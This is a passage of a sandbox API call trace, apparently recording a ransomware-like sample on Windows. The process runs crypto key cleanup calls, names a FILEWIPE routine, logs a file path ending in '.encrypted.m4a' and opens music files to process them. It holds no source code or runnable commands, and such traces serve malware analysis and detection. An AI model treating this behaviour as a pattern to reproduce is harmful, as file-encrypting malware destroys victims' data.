PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.016] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.016] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.016] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.017] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.017] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.018] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.018] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.018] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.018] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.018] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.018] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.018] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.018] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.019] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.019] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.019] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.019] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.019] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.019] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.019] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.019] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.019] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.019] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.019] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.020] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.020] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.020] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0027.020] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.020] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.020] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.020] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.020] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.020] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.021] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.021] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.021] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.021] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.021] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.022] CharLowerBuffW (in: lpsz="byte[33002]", cchLength=0xb | out: lpsz="byte[33002]") returned 0xb [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.022] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.022] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.022] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.022] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.023] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.023] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.023] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.023] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.023] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.023] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.024] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.024] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.024] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.024] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.024] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.024] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.024] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.024] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.025] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.025] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6808) returned 1 [0027.025] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.025] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.025] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.025] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1a98, lpOverlapped=0x0) returned 1 [0027.025] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.025] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1a98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.025] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6808) returned 1 [0027.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\31AunBdCov.encrypted.m4a\r\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0027.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\31AunBdCov.encrypted.m4a\r\n", cchWideChar=71, lpMultiByteStr=0xe8f4052170, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\31AunBdCov.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 71 [0027.025] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069ad0*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069ad0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x46, lpOverlapped=0x0) returned 1 [0027.025] CloseHandle (hObject=0x1fc) returned 1 [0027.026] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.026] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.026] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.027] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.027] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.027] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.027] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.027] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.028] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178500, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.028] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178680, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.028] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\B3ITwwOcNy-dV_k.mp3", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0027.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 